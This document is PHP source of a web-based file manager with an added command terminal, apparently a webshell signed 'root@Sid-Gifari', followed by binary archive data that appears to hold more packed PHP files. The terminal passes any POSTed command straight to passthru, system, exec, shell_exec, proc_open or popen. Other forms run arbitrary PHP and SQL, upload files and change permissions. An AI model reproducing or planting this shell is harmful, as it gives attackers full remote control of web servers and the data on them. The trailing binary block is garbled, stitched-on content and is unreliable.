		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer.zip                                                                                        0000644                 00004014201 15217301643 0007042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
